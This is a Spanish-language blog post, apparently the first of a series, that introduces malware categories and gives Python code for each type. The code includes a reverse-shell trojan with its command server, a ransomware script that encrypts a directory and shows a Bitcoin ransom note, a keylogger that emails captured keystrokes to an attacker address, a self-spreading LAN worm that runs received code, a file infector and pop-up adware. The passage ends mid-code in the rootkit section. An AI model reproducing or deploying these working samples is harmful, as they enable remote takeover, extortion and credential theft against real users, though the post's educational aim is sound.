Introducción al Malware

El Malware (Malicious software) representa una de las amenazas más significativas en el ámbito de la Ciberseguridad. Se trata de cualquier programa que esté diseñado con intenciones maliciosas, para dañar sistemas, obtener información sensible o tomar el control de los dispositivos sin autorización.

Este post está pensado en ser la primera parte de una serie de diez mas, donde haré el análisis más en profundidad de cada tipo de Malware, analizando muestras reales, viendo sus efectos y profundizando mucho mas en cada uno. Este post está para ser una toma de contacto y un aprendizaje generalizado sobre los malware.

¿Por qué es importante conocer y estudiar el Malware?

Es una herramienta muy comúnmente utilizada por los atacantes para los objetivos anteriormente descritos, y con el crecimiento exponencial de la tecnología y la interconexión global, es fundamental conocer cómo funcionan y que formas pueden tomar. Esta comprensión permite anticipar riesgos y establecer defensas efectivas contra posibles ataques. Considero estos los motivos por lo que es importante conocer y entender el malware:

Amenaza omnipresente: Actualmente, está en todas partes. Desde correos electrónicos de phishing, hasta aplicaciones en principio legítimas.
Costos económicos y reputacionales: Para las empresas, un ataque de malware se puede traducir en pérdidas millonarias por las interrupciones de los servicios, pagos de los posibles rescates o incluso la pérdida de clientes. En 2023, los costos en España que se asociaron al Cibercrimen, superaron los 1,41 millones de dólares en 2022. https://www.computing.es/informes/los-costes-asociados-a-los-ciberataques-se-duplican-en-2023
Impacto personal: Para los usuarios, el malware puede significar el robo de información sensible como contraseñas e información bancaria, llevando a los fraudes financieros y suplantación de identidad, por ejemplo.
Protección de infraestructura crítica: El malware no solo afecta a usuarios o empresas, también puede afectar a sistemas que sostienen servicios esenciales como hospitales, plantas de energía, sistemas de transporte…
Evolución constante: Los desarrolladores de malware nunca se detienen, el Malware siempre está evolucionando y cada vez son mas sofisticados y difíciles de detectar. Mantenerse informado sobre las tendencias y los tipos de malware, nos puede permitir anticipar posibles ataques y diseñar unas defensas adecuadas.

¿Qué es el Malware?

El término Malware, proviene de la combinación de las palabras “malicious” y “software”. Se refiere a cualquier programa o archivo que está diseñado con la intención de causar daño, interrumpir operaciones, robar datos o acceder a sistemas sin tener autorización. Es extremadamente versátil y complejo, lo que lo convierte en una de las herramientas mas usadas en ciberataques.

Puede entrar en un sistema de varias maneras, como por ejemplo, descargas no seguras, correos electrónicos fraudulentos, dispositivos externos que estén infectados, vulnerabilidades en un software e incluso los famosos Zero Days¹.

Características principales del Malware

Intencionalidad: Siempre busca un objetivo en especifico. Información, interrumpir servicios, controlar dispositivos…
Flexibilidad: Para adaptarse y evolucionar para evitar ser detectado, es por eso que a veces es muy complicado de detectar.
Automatización: Muchas veces, se propaga si necesidad de intervención humana.
Impacto negativo: Las consecuencias abarcan desde molestias menores hasta daños catastróficos.

Tipos principales de Malware resumido

Vamos a explorar primero resumidamente los tipos principales de Malware que existen, después entraremos en mas detalle en cada uno de ellos:

Virus: Este tipo de Malware se adjunta a archivos legítimos y se propaga cuando el usuario ejecuta el archivo infectado. Por ejemplo, ejecutas un .exe que te has descargado de un correo sospechoso, y ese virus te sobrescribe documentos o ejecutables.
Troyanos: Aparentan ser programas legítimos, pero ocultan código malicioso que ejecuta acciones sin que el usuario lo sepa. Por ejemplo, te descargas un archivo que permite que un atacante acceda remotamente a tu equipo.
Ransomware: Cifra los datos de la víctima y exige un pago para liberar el acceso. Bastante simple, pero muy efectivo para conseguir dinero. Ejemplo, WannaCry.
Spyware: Espía las actividades del usuario y recopila datos confidenciales para enviárselos al atacante. Por ejemplo, un software que se instala junto a una aplicación gratuita que recopila información del usuario.
Adware: Muestra anuncios intrusivos y no deseados, generando ingresos para el atacante. Por ejemplo, te descargas un juego pirata y te aparecen pop-ups de anuncios de Temu.
Gusanos: Malware que se propaga automáticamente a través de redes, explotando vulnerabilidades automáticamente. Por ejemplo, Conficker.
Rootkits: Herramientas que han sido diseñadas para otorgar acceso privilegiado al atacante mientras ocultan su presencia. Ejemplo Sony BMG Rootkit, el cual fue implementado curiosamente por una empresa legitima…
Botnets: Redes de dispositivos infectados que se comportan como robots pues son controlados de forma remota para realizar actividades maliciosas, usualmente usados para ataques DDoS²

Tipo de malware	Definición	Rol Principal	Objetivo	Propagación	Ejemplo Común
Virus	Malware que se adhiere a archivos legítimos y se propaga cuando estos se ejecutan	Infectar archivos y replicarse.	Corromper o destruir datos, alterar sistemas.	Descarga de archivos infectados, medios extraíbles (USB).	CIH (Chernobyl Virus)
Troyano	Malware diseñado para espiar y recopilar información del usuario sin su conocimiento.	Recolectar información sensible.	Robar datos personales, credenciales, hábitos de navegación.	Descargas ocultas, instalación junto a software gratuito.	Emotet
Ransomware	Malware que cifra datos y exige un rescate para desbloquearlos.	Extorsionar económicamente a las víctimas.	Obtener dinero mediante chantaje.	Correos maliciosos, documentos con macros infectadas.	WannaCry
Spyware	Malware diseñado para espiar y recopilar información del usuario sin su conocimiento.	Recolectar información sensible.	Robar datos personales, credenciales, hábitos de navegación.	Descargas ocultas, instalación junto a software gratuito.	Pegasus
Adware	Software diseñado para mostrar publicidad excesiva o no deseada.	Monetización mediante anuncios.	Generar ingresos por publicidad, rastrear actividad.	Instalación con software gratuito, sitios web maliciosos.	Fireball
Gusano (Worm)	Malware que se replica automáticamente sin necesidad de archivos anfitriones.	Propagación masiva en redes.	Saturar sistemas, crear puertas traseras.	Redes locales, internet, correos electrónicos infectados.	Conficker
Rootkit	Software diseñado para esconder la presencia de malware en un sistema comprometido.	Ocultar actividades maliciosas.	Mantener acceso persistente, evitar detección.	Ingeniería social, vulnerabilidades en software.	Sony BMG Rootkit
Botnet	Red de dispositivos infectados controlados de forma remota por un atacante.	Realizar ataques coordinados a gran escala.	Enviar spam, realizar ataques DDoS, minar criptomonedas.	Troyanos, gusanos, explotación de dispositivos IoT.	Mirai

Análisis Detallado de los Tipos de Malware

Este análisis detallado no solo tiene como objetivo describir cómo funcionan, sino también comprender el impacto que tienen en los sistemas, las redes y, en última instancia, en las personas y las organizaciones. Conocer cada tipo de malware de forma precisa es esencial para identificar sus tácticas, técnicas y procedimientos (TTPs) y para desarrollar estrategias efectivas de prevención y respuesta.

Al profundizar en cada categoría, exploraré aspectos clave como su modo de operación, ejemplos representativos, cómo afectan a los sistemas infectados, y qué medidas pueden implementarse para mitigar su impacto. Este enfoque permite entender no solo el problema, sino también cómo enfrentarlo con las mejores prácticas de Ciberseguridad.

A continuación, procederé a analizar cada tipo de malware individualmente, desglosando sus características principales, proporcionando ejemplos prácticos, explicando sus métodos de propagación y ofreciendo recomendaciones específicas de prevención y mitigación. Este enfoque estructurado nos permitirá abordar el problema desde todos los ángulos y fortalecer nuestra capacidad de defensa en el panorama actual de Ciberseguridad.

Virus

¿Qué son?

Los virus son uno de los tipos mas antiguos de Malware. Son programas maliciosos que como su nombre indica, infectan otros archivos y/o programas legítimos.

El virus necesita que el usuario realice una acción, como ejecutar un archivo que esté infectado, para activarse y una vez activado, poder replicarse, dañar archivos, consumir recursos del sistema o instalar otros tipos de malware.

¿Como se propagan?

Los virus se pueden propagar por las siguientes maneras:

Archivos ejecutables infectados.
Dispositivos USB contaminados, siendo que algunos se copian automáticamente a memorias USB.
Descargas desde internet. Archivos “inofensivos” que pueden contener virus.
Documentos con macros maliciosas, virus ocultos en documentos Word o Excel que se ejecutan mediante macros.

Ejemplo básico de un Virus en Python

import os
import time
import shutil

# Función para comprobar si el archivo ya ha sido infectado
def archivo_infectado(archivo):
    with open(archivo, 'r') as f:
        contenido = f.read()
    return "virus_infectado" in contenido

# Función para infectar un archivo
def infectar_archivo(archivo):
    virus_code = """
        # Aquí iría el código malicioso 
        print("Cybermemo estuvo aquí")
        # virus_infectado
"""
    with open(archivo, 'a') as f:
        f.write(virus_code)

# Función para propagar el virus a otros archivos Python en el mismo directorio
def propagar_virus():
    directorio_actual = os.getcwd()
    archivos = os.listdir(directorio_actual)
    
    for archivo in archivos:
        # Infectar solo archivos .py que no estén infectados
        if archivo.endswith(".py") and not archivo_infectado(archivo):
            print(f"Infectando {archivo}")
            infectar_archivo(archivo)
            time.sleep(1)  # Simula el retraso de propagación

# Función para ejecutar la carga maliciosa (payload)
def ejecutar_payload():
    print("Ejecutando payload: ¡Todo ha sido comprometido!")

# Función principal que controla la ejecución del virus
def ejecutar_virus():
    # Paso 1: Propagar el virus
    propagar_virus()

    # Paso 2: Activar el payload
    ejecutar_payload()

    # Paso 3: Continuar ejecutando el archivo original (simulación)
    print("Virus ejecutado correctamente.")
    time.sleep(2)

# Ejecutar el virus
if __name__ == "__main__":
    ejecutar_virus()

Paso a paso

Verificación de archivos: Esta función, lee el contenido de un archivo y revisa si incluye la frase “virus_infectado. Si no encuentra esa frase, el archivo no está infectado, por lo que lo modifica.
Infección de archivo: Abre un archivo seleccionado y le añade un texto que representa el virus. Esta vez, un simple mensaje que dice “Cybermemo estuvo aquí”
Función para propagar el virus: Examina los archivos, y si encuentra archivos .py que no estén infectados, les añade el texto del virus.
Función para ejecutar la carga maliciosa (payload): Muestra un mensaje diciendo que el sistema está comprometido. Esto representa una acción que un virus real podría realizar.

Troyanos

¿Qué son y como engañan a los usuarios?

Los troyanos son programas maliciosos que se disfrazan como software legítimo para engañar a los usuarios y lograr que los instalen y ejecuten voluntariamente. A diferencia de otros tipos de malware, los troyanos no se replican por sí mismos. Su objetivo principal es proporcionar acceso no autorizado al sistema infectado y/o realizar acciones maliciosas como el robo de datos, espionaje o la instalación de otros Malware.

¿Cómo engañan a los usuarios?

Tienen una apariencia legítima disfrazándose como documentos, instaladores de software de algún software popular en el momento o incluso una actualización del sistema.
A veces presentan ofertas atractivas, siendo presentados como software gratuito, o funciones como optimización del sistema o generador de claves, como un generador de claves de Windows, por ejemplo.

Técnicas comunes de propagación

A veces vienen adjuntos en correos electrónicos de phishing
Software pirata que viene descargado de un sitio no confiable.
Páginas web comprometidas.
Dispositivos USB infectados: Los troyanos pueden ocultarse en dispositivos extraíbles y activarse al ser conectados a otro sistema.
Aplicaciones móviles falsas, si, porque los móviles no están exentos de malware, en este caso, troyanos.

Ejemplo práctico

El código básicamente realiza una conexión remota a un servidor controlado por un atacante, y ejecuta comandos en la máquina infectada.

Código del servidor atacante

import socket

# Dirección IP y puerto del servidor atacante
host = '0.0.0.0'  # Acepta conexiones en todas las interfaces
port = 9999        # Puerto de escucha

# Crear un socket TCP
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Vincular el socket a la dirección IP y puerto
server.bind((host, port))
server.listen(5)
print(f"Escuchando en {host}:{port}...")

# Aceptar la conexión de un troyano
client_socket, client_address = server.accept()
print(f"Conexión recibida de {client_address}")

# Mantener la conexión abierta y recibir comandos
while True:
    # Recibir comando del atacante
    command = input("Comando> ")

    # Enviar el comando al troyano
    if command:
        client_socket.send(command.encode())

        # Recibir la respuesta del troyano
        response = client_socket.recv(4096).decode()
        print(response)

Paso a paso

Configuración del servidor: El código empieza creando un servidor en el dispositivo del atacante. La direccion IP 0.0.0.0 indica que escuchará conexiones desde cualquier dirección, el puerto 9999 indica que el servidor estará escuchando en ese puerto.
Aceptar la conexión: El servidor espera que la víctima se conecte a él. Al recibir la conexión, la almacenará en client_socket, para enviar y recibir datos.
Recibir y enviar comandos: Cunado la victima esté conectada, el servidor esperará que el atacante escriba comandos en la terminal. El servidor enviará el comando a la víctima usando la conexión guardada en client_socket y después, la víctima ejecutará el comando, el servidor recibirá la respuesta de la victima y la mostrará en la pantalla del atacante.

Código del troyano en el dispositivo de la victima

import socket
import subprocess

# Dirección IP y puerto del servidor atacante
host = 'IP_DEL_SERVIDOR'  # La IP del servidor del atacante
port = 9999               # El mismo puerto que el servidor

# Crear un socket TCP
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Conectar al servidor del atacante
client.connect((host, port))
print(f"Conectado al servidor {host}:{port}")

# Mantener la conexión abierta y esperar comandos
while True:
    # Recibir comando del servidor
    command = client.recv(1024).decode()

    # Si el comando es 'exit', cerrar la conexión
    if command.lower() == 'exit':
        break

    # Ejecutar el comando recibido
    if command.startswith('cd '):
        try:
            # Cambiar de directorio
            directory = command.strip('cd ')
            os.chdir(directory)
            client.send(f"Directorio cambiado a {directory}".encode())
        except FileNotFoundError:
            client.send("Directorio no encontrado".encode())
    else:
        # Ejecutar el comando en el sistema de la víctima
        output = subprocess.run(command, shell=True, capture_output=True)
        if output.stdout:
            client.send(output.stdout)
        else:
            client.send(output.stderr)

# Cerrar la conexión
client.close()

Paso a paso

Conexión al servidor atacante: El código primero establece una conexión con el servidor del atacante, usando la IP y el puerto definidos en el servidor.
Esperar comandos del atacante: Una vez conectado, el troyano esperará comandos del atacante.
Ejecución de los comandos: Si el comando es, por ejemplo, un CD, el troyano intentará cambiar a la carpeta indicada y devolverá un mensaje al atacante confirmando si lo logró.
Cerrar la conexión: Si el comando recibido es exit, el troyano se desconecta.

Ransomware

¿Qué son y por qué son tan lucrativos?

El ransomware es un malware que cifra los archivos de la víctima, bloqueando así el acceso a ellos hasta que se pague el rescate que se suele pedir. Su principal objetivo es extorsionar económicamente a los usuarios.

Este malware es realmente lucrativo:

Es realmente fácil de distribuir, pudiendo ser a través de correos de phishing, vulnerabilidades en sistemas, en redes…
Los pagos se hacen en criptomonedas, las cuales hacen difícil de rastrear.
Las víctimas suelen estar dispuestas a pagar para evitar la pérdida de datos importantes o el tiempo de inactividad en sus operaciones, en caso de una empresa.
Es bastante adaptable y escalable, así que puede usarse contra grandes organizaciones o contra simples usuarios.

¿Como afecta a las victimas?

Pérdida de acceso a datos críticos: Tanto personales como empresariales
Tiempo de inactividad: En los negocios esto puede resultar en pérdidas
Daño a la reputación: Especialmente para los negocios que manejan información sensible de clientes.
Costo del rescate: Nunca se recomienda pagar, pero muchas victimas lo hacen para intentar recuperar su datos.
Posible pérdida definitiva de datos: No hay garantía de que los ciberdelincuentes proporcionen la clave de descifrado al pagar.

Consejos para mitigar el riesgo

Mis consejos para mitigar el riesgo son los siguientes:

Hacer copias de seguridad regularmente. Preferiblemente, tener mínimo una en un lugar externo.
Deberíamos de mantener los sistemas actualizados, aplicando los parches de seguridad y las configuraciones automáticas para el software y el sistema operativo.
Usar soluciones de seguridad robustas como firewalls y antivirus, los cuales suelen incluir protección contra ransomware.
Evitar correos de phishing: No abrir archivos adjuntos ni hacer clic en enlaces sospechosos.
Limitar los privilegios administrativos para reducir el impacto en caso de infección y segmentar la red en entornos corporativos.

Ejemplo práctico

Código ejecutado en la máquina victima

from cryptography.fernet import Fernet
import os

# Generar una clave y guardarla en un archivo (en un ransomware real, esto estaría en un servidor remoto)
def generar_clave():
    clave = Fernet.generate_key()
    with open("clave_secreta.key", "wb") as archivo_clave:
        archivo_clave.write(clave)

# Cargar la clave desde el archivo
def cargar_clave():
    return open("clave_secreta.key", "rb").read()

# Cifrar archivos en un directorio
def cifrar_archivos(directorio, clave):
    fernet = Fernet(clave)
    for archivo in os.listdir(directorio):
        ruta_archivo = os.path.join(directorio, archivo)
        
        # Evitar cifrar la clave y otros archivos críticos
        if os.path.isfile(ruta_archivo) and not archivo.endswith(".key"):
            with open(ruta_archivo, "rb") as archivo_obj:
                contenido = archivo_obj.read()
            
            # Cifrar el contenido del archivo
            contenido_cifrado = fernet.encrypt(contenido)
            with open(ruta_archivo, "wb") as archivo_obj:
                archivo_obj.write(contenido_cifrado)
            print(f"Archivo cifrado: {archivo}")

# Mostrar mensaje de "rescate"
def mostrar_mensaje_rescate():
    print("\n¡Tus archivos han sido cifrados!")
    print("Para recuperarlos, envía 1 Bitcoin a la dirección XXXX y contacta al correo evil@example.com")
    print("Sin la clave de descifrado, no podrás recuperar tus archivos.\n")

# Programa principal
def ejecutar_ransomware():
    # Paso 1: Generar o cargar la clave de cifrado
    if not os.path.exists("clave_secreta.key"):
        generar_clave()
    clave = cargar_clave()

    # Paso 2: Directorio objetivo (en un entorno de pruebas)
    directorio_objetivo = "./archivos_victima"  # Cambiar según tu laboratorio

    # Paso 3: Cifrar los archivos en el directorio
    cifrar_archivos(directorio_objetivo, clave)

    # Paso 4: Mostrar el mensaje de rescate
    mostrar_mensaje_rescate()

if __name__ == "__main__":
    ejecutar_ransomware()

Paso a paso

Generar y guardar clave secreta: La funcion generar_clave genera una clave única usando Fernet. Esta clave se guarda en un archivo llamado clave_secreta.ket, necesaria para cifrar y descifrar los archivos.
Cargar la clave secreta: La función cargar_clave lee la clave almacenada en el archivo clave_secreta.key para usarla.
Cifrar archivos: Recorre los archivos en el directorio especificado, y cifra su contenido usando la clave. Cifra los archivos que no son la misma clave y evita archivos importantes del sistema.
Mostrar mensaje de rescate: Después de cifrar los archivos, se imprime un mensaje en la pantalla de la víctima.
Ejecución del ransomware: Ejecuta el flujo principal del ransomware. Si la clave no existe, se genera y después cifra los datos, mostrando finalmente el mensaje de rescate a la víctima.

Código en el servidor atacante para descifrar los archivos

from cryptography.fernet import Fernet
import os

# Cargar la clave desde el archivo
def cargar_clave():
    return open("clave_secreta.key", "rb").read()

# Descifrar archivos en un directorio
def descifrar_archivos(directorio, clave):
    fernet = Fernet(clave)
    for archivo in os.listdir(directorio):
        ruta_archivo = os.path.join(directorio, archivo)
        
        # Descifrar solo archivos que no sean la clave
        if os.path.isfile(ruta_archivo) and not archivo.endswith(".key"):
            with open(ruta_archivo, "rb") as archivo_obj:
                contenido_cifrado = archivo_obj.read()
            
            # Descifrar el contenido del archivo
            contenido_descifrado = fernet.decrypt(contenido_cifrado)
            with open(ruta_archivo, "wb") as archivo_obj:
                archivo_obj.write(contenido_descifrado)
            print(f"Archivo descifrado: {archivo}")

# Programa principal
def ejecutar_descifrador():
    clave = cargar_clave()
    directorio_objetivo = "./archivos_victima"  # Cambiar según tu laboratorio
    descifrar_archivos(directorio_objetivo, clave)

if __name__ == "__main__":
    ejecutar_descifrador()

Paso a paso

Cargar la clave secreta: El atacante carga la clave secreta.
Descifrar los archivos: La función descifrar_archivos recorre los archivos en el directorio especificado, y descifra su contenido usando la clave.
Ejecución del descifrador: Es la función principal del atacante, se encarga de cargar la clave y descifrar los archivos de la victima.

Spyware

¿Como funciona y que información roba?

Este es un tipo de malware diseñado para espiar a los usuarios sin que estos tengan conocimiento de el, recopilando información y enviándola al atacante. Este software malicioso se ejecuta de manera sigilosa en el sistema de la víctima.

¿Que puede hacer?

Registrar pulsaciones de teclado, para capturar contraseñas, por ejemplo.
Capturar pantallas, útil para robar credenciales.
Monitorear actividad en internet, como por ejemplo historial de navegación.
Rastrear ubicación.
Controlar cámaras y micrófonos.
Robar credenciales almacenadas.

Ejemplo práctico

Ahora voy a mostrar un ejemplo de Spyware, en esta ocasión, será un keylogger. Un programa que registra y envía las pulsaciones de nuestros teclados.

from pynput.keyboard import Listener
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import os
import time

# Configuración del correo electrónico
EMAIL = "tu_correo@gmail.com"  # Cambia por tu correo
PASSWORD = "tu_contraseña"      # Cambia por tu contraseña
DESTINATARIO = "correo_atacante@gmail.com"

# Archivo temporal para almacenar las pulsaciones
archivo_log = "keylog.txt"

# Función para enviar el archivo de log por correo
def enviar_email():
    try:
        with open(archivo_log, "r") as file:
            contenido = file.read()

        # Configuración del correo
        mensaje = MIMEMultipart()
        mensaje["From"] = EMAIL
        mensaje["To"] = DESTINATARIO
        mensaje["Subject"] = "Registro de Keylogger"

        # Añadir el contenido como texto
        mensaje.attach(MIMEText(contenido, "plain"))

        # Conectar al servidor SMTP
        servidor = smtplib.SMTP("smtp.gmail.com", 587)
        servidor.starttls()
        servidor.login(EMAIL, PASSWORD)

        # Enviar el correo
        servidor.sendmail(EMAIL, DESTINATARIO, mensaje.as_string())
        servidor.quit()
        print("Correo enviado con éxito.")
    except Exception as e:
        print(f"Error al enviar el correo: {e}")

# Función para registrar las pulsaciones
def registrar_pulsaciones(key):
    # Formatear la tecla para almacenarla correctamente
    key = str(key).replace("'", "")  # Eliminar comillas simples
    if key == "Key.space":
        key = " "  # Representar espacios como espacios
    elif key == "Key.enter":
        key = "\n"  # Representar enter como nueva línea
    elif "Key" in key:
        key = ""  # Ignorar teclas especiales como Shift, Ctrl, etc.

    # Guardar en el archivo log
    with open(archivo_log, "a") as file:
        file.write(key)

# Programa principal
def ejecutar_keylogger():
    # Borrar el archivo log si existe
    if os.path.exists(archivo_log):
        os.remove(archivo_log)

    # Iniciar el keylogger
    with Listener(on_press=registrar_pulsaciones) as listener:
        try:
            # Ejecutar el listener durante un tiempo y enviar correo cada cierto intervalo
            inicio = time.time()
            while True:
                time.sleep(10)  # Tiempo en segundos para capturar datos
                if time.time() - inicio > 60:  # Enviar cada 60 segundos
                    enviar_email()
                    inicio = time.time()
        except KeyboardInterrupt:
            print("Keylogger detenido.")
        finally:
            listener.stop()

if __name__ == "__main__":
    ejecutar_keylogger()

Paso a paso

Configuración inicial: Se realiza la configuración inicial del correo electrónico.
Creación del log: Se crea el archivo de log para guardar todas las pulsaciones
Enviar log por correo: Se crea la función para enviar el archivo de log por correo. Se lee el archivo keylog.txt y el contenido se coloca en un correo, después se envía a través de un servidor SMTP de GMAIL.
Después de crear la función de enviar el log por correo, se cre la función para registrar las pulsaciones de letras, cada vez que detecta una tecla pulsada, la función la guarda en el archivo keylog.txt, el código convierte las teclas especiales como el espacio en sus caracteres.
Después se ejecuta la función principal, y configuramos que cada 60 segundos el keylogger se envía por correo.

Adware

¿Por qué no es considerado siempre un Malware?

El adware es un tipo de software diseñado para mostrar anuncios publicitarios. El objetivo suele ser el de generar ingresos para el desarrollador. No todos los adware son perjudiciales, hay algunos que son incluidos en programas gratuitos como parte de su modelo de negocio. Para que sea clasificado como malware, deberían de cumplir alguno de los siguientes requisitos:

Debe de actuar sin el consentimiento del usuario, instalando componentes que generen publicidad intrusivamente.
Dificultar du desinstalación, haciéndose persistente o escondiéndose en el sistema.
Recolectar datos sin autorización, historiales de navegación, hábitos de consumo o información personal.

Como identificarlo y eliminarlo

Identificar un adware, suele ser bastante fácil. Los sintomas son evidentes, cambios en el navegador, como páginas de inicio modificadas, barras de herramientas o extensiones no instaladas por el propio usuario; anuncios excesivos, pop-ups recurrentes, redirecciones constantes a sitios de publicidad; rendimiento lento, hay algún programa que consume demasiados recursos sin ninguna razón…

La eliminación suele ser también fácil, aunque hay algunos que se resisten más de la cuenta, las opciones son las siguientes:

Desinstalar software sospechoso, desde el panel de control de nuestro sistema operativo.
Restaurar el navegador a su configuración de fábrica.
Utilizar herramientas anti-adware, como por ejemplo AdwCleaner.

Ejemplo práctico de un Adware invasivo

import tkinter as tk
import random
import time
import threading

# Lista de mensajes de "anuncios"
anuncios = [
    "¡Gana dinero rápido! Haz clic aquí.",
    "¿Quieres perder peso? Este método te cambiará la vida.",
    "Actualiza tu antivirus ahora para evitar amenazas.",
    "¡Increíbles descuentos en productos electrónicos!",
    "Gira la rueda de la suerte y gana premios.",
]

# Función para mostrar una ventana emergente con un "anuncio"
def mostrar_anuncio():
    # Crear una ventana emergente usando tkinter
    ventana = tk.Tk()
    ventana.title("Publicidad")
    
    # Dimensiones aleatorias de la ventana
    ancho = 300
    alto = 100
    pantalla_ancho = ventana.winfo_screenwidth()
    pantalla_alto = ventana.winfo_screenheight()
    x = random.randint(0, pantalla_ancho - ancho)
    y = random.randint(0, pantalla_alto - alto)

    # Configurar la posición y el tamaño
    ventana.geometry(f"{ancho}x{alto}+{x}+{y}")
    ventana.resizable(False, False)

    # Mensaje aleatorio del anuncio
    mensaje = random.choice(anuncios)
    etiqueta = tk.Label(ventana, text=mensaje, font=("Arial", 12), wraplength=250)
    etiqueta.pack(pady=10)

    # Botón para cerrar la ventana (molesto porque siempre vuelve)
    boton_cerrar = tk.Button(ventana, text="Cerrar", command=ventana.destroy)
    boton_cerrar.pack(pady=5)

    # Mantener la ventana activa
    ventana.mainloop()

# Función principal para ejecutar el adware
def ejecutar_adware():
    while True:
        # Mostrar un anuncio cada pocos segundos
        tiempo_espera = random.randint(5, 15)  # Intervalo aleatorio entre 5 y 15 segundos
        time.sleep(tiempo_espera)
        threading.Thread(target=mostrar_anuncio).start()  # Mostrar anuncios en hilos separados

# Ejecutar el adware
if __name__ == "__main__":
    print("Adware ejecutándose en segundo plano...")
    ejecutar_adware()

Paso a paso

Lista de anuncios: Se crea una lista que contiene varios textos de anuncios que se mostrarán ed forma aleatoria.
Función para mostrar un anuncio: Crea una ventana emergente, configura el tamaño y posición de forma aleatoria, el anuncio se elige aleatoriamente de la lista de anuncios anteriormente creada y se muestra en la ventana, se incluye un botón que permite cerrarlo y la ventana se mantiene activa hasta que el usuario la cierre.
Función principal para ejecutar el adware: La ultima función ejecuta un bucle infinito que muestra anuncios continuamente, en cada iteración del bucle se espera entre 5 y 15 segundos para mostrar un nuevo anuncio. El código permite multiples ventanas emergentes al ejecutar anuncios en hilos separados.

Gusanos

¿Cómo se diferencian de los virus?

Los gusanos y los virus se parecen mucho, ambos se propagan, pero tienen diferencias clave en su funcionamiento.

La autonomía:
1. Los virus necesitan un archivo huésped para propagarse.
2. Los gusanos son autónomos y se replican y propagan sin necesidad de un archivo huésped.
Modo de propagación:
1. Los virus suelen activarse cuando el usuario interactúa con el propio archivo infectado.
2. Los gusanos se propagan automáticamente.
Objetivo principal:
1. Los virus tienden a infectar archivos o sistemas específicos
2. Los gusanos priorizan la propagación masiva

Los gusanos son especialmente peligrosos pues pueden extenderse a través de redes con poca o ninguna interacción del usuario, infectan dispositivos USB, impresoras de red, dispositivos IoT³, envían mensajes automáticamente con enlaces o archivos infectados…

Ejemplo práctico

import socket
import os
import shutil
import time

# Configuración de IP de la red local (especifica la subred)
RANGO_IPS = ["192.168.1.1", "192.168.1.255"]  # Cambia según tu red local
PUERTO = 9999  # Puerto utilizado para la propagación

# Ruta donde se guardará la copia del gusano
archivo_gusano = "worm.py"

# Función para intentar enviar el gusano a otra computadora
def enviar_gusano(ip_destino):
    try:
        # Crear un socket para conectar con la IP de destino
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(5)
        s.connect((ip_destino, PUERTO))

        # Enviar el gusano (el código mismo como string)
        with open(archivo_gusano, "r") as f:
            contenido = f.read()
        s.sendall(contenido.encode())  # Enviar el contenido del gusano

        print(f"Se envió el gusano a {ip_destino}")
        s.close()

    except Exception as e:
        print(f"No se pudo enviar el gusano a {ip_destino}: {e}")

# Función para escuchar en el puerto y recibir el gusano
def recibir_gusano():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.bind(("0.0.0.0", PUERTO))  # Escuchar en todas las interfaces
    s.listen(1)
    print("Esperando una conexión para recibir el gusano...")

    # Aceptar una conexión entrante
    conn, addr = s.accept()
    print(f"Conexión recibida de {addr}")

    # Recibir el gusano y guardarlo
    data = conn.recv(1024 * 1024)  # Tamaño máximo de 1MB (ajustar según el tamaño)
    if data:
        with open(archivo_gusano, "w") as f:
            f.write(data.decode())  # Guardar el gusano recibido
        print(f"Gusano recibido y guardado en {archivo_gusano}")

        # Ejecutar el gusano recibido
        os.system(f"python {archivo_gusano}")

    conn.close()

# Función para propagar el gusano a través de la red local
def propagarse():
    for ip in range(int(RANGO_IPS[1].split(".")[-1]), int(RANGO_IPS[0].split(".")[-1]), -1):
        ip_destino = ".".join(RANGO_IPS[0].split(".")[:-1]) + f".{ip}"
        print(f"Intentando enviar el gusano a {ip_destino}")
        enviar_gusano(ip_destino)

# Función principal para ejecutar el gusano
def ejecutar_gusano():
    print("Gusano ejecutándose...")
    while True:
        # Propagarse cada 10 segundos
        propagarse()
        time.sleep(10)

if __name__ == "__main__":
    # Escuchar si el gusano ha llegado a esta computadora
    recibir_gusano()

    # Ejecutar la propagación
    ejecutar_gusano()

Paso a paso

Configuración inicial: Se especifica un rango de IPs de la red local en la que el gusano se propagará, y el puerto que se usará para establecer la conexión entre los ordenadores.
Función para enviar el gusano a otro PC: Esta función intenta enviar el gusano a un PC. Crea un socket de red, para establecer una conexión en el puerto 9999. Lee el archivo del gusano y lo envía a la PC de destino.
Función para recibir el gusano: Esta función permite que el PC reciba el gusano ed otra maquina, escuchando en el puerto 9999, recibiendo y guardando el gusano en el archivo worm.py, para después ejecutarlo.
Función para propagarse a través de la red local: Este bucle recorre las direcciones IP dentro del rango especificado e intenta enviar el gusano.
Función principal para ejecutar el gusano: Llama a la función para intentar enviar el gusano cada 10 segundos, esperando otros 10 segundos antes de intentarlo nuevamente.

Rootkits

¿Qué son y como funcionan?

Es un tipo de malware que está diseñado para otorgar acceso privilegiado a nivel de administrador al atacante, ocultando su presencia y la de otros programas maliciosos que puedan estar asociados a este.

Sus características principales son:

La ocultación, puesto que modifican sistemas operativos para evitar su detección.
La persistencia, pudiendo instalarse en distintos niveles del sistema.
El acceso privilegiado, el rootkit puede tomar el control completo del sistema infectado.

Los mas peligrosos son realmente complicados de eliminar, puesto que pueden modificar aplicaciones comunes, para ocultar su presencia, pueden también inyectar código malicioso en el kernel⁴ del sistema, permitiendo manipular procesos y archivos de bajo nivel. Incluso, pueden persistir tras reinstalaciones del sistema operativo mediante la infección de la BIOS/UEFI⁵.

Cómo se detectan

Como he comentado, detectar rootkits es especialmente difícil debido a su capacidad de ocultación. Estas son las mejores formas de detectar un rootkit.

Escaneo fuera de linea, realizando los análisis desde un sistema operativo externo, ya que los rootkits pueden ocultarse durante un escaneo normal. Se pueden usar herramientas como Kaspersky Rescue Disk.
Herramientas antimalware especializadas: GMER para Windows y chkrootkit para Linux.
Analizar actividades inusuales en el sistema como alto consumo ed recursos, puede ser una primera señal de que algo anda mal en general.
Revisar logs del sistema: Se pueden generar entrada sospechosas en los registros del sistema.

Ejemplo práctico

import os
import sys
import time
import shutil

# Archivo a ocultar (por ejemplo, un archivo malicioso)
archivo_oculto = "malicious_file.txt"

# Función para crear un archivo malicioso (solo con fines educativos)
def crear_archivo_malicioso():
    with open(archivo_oculto, "w") as f:
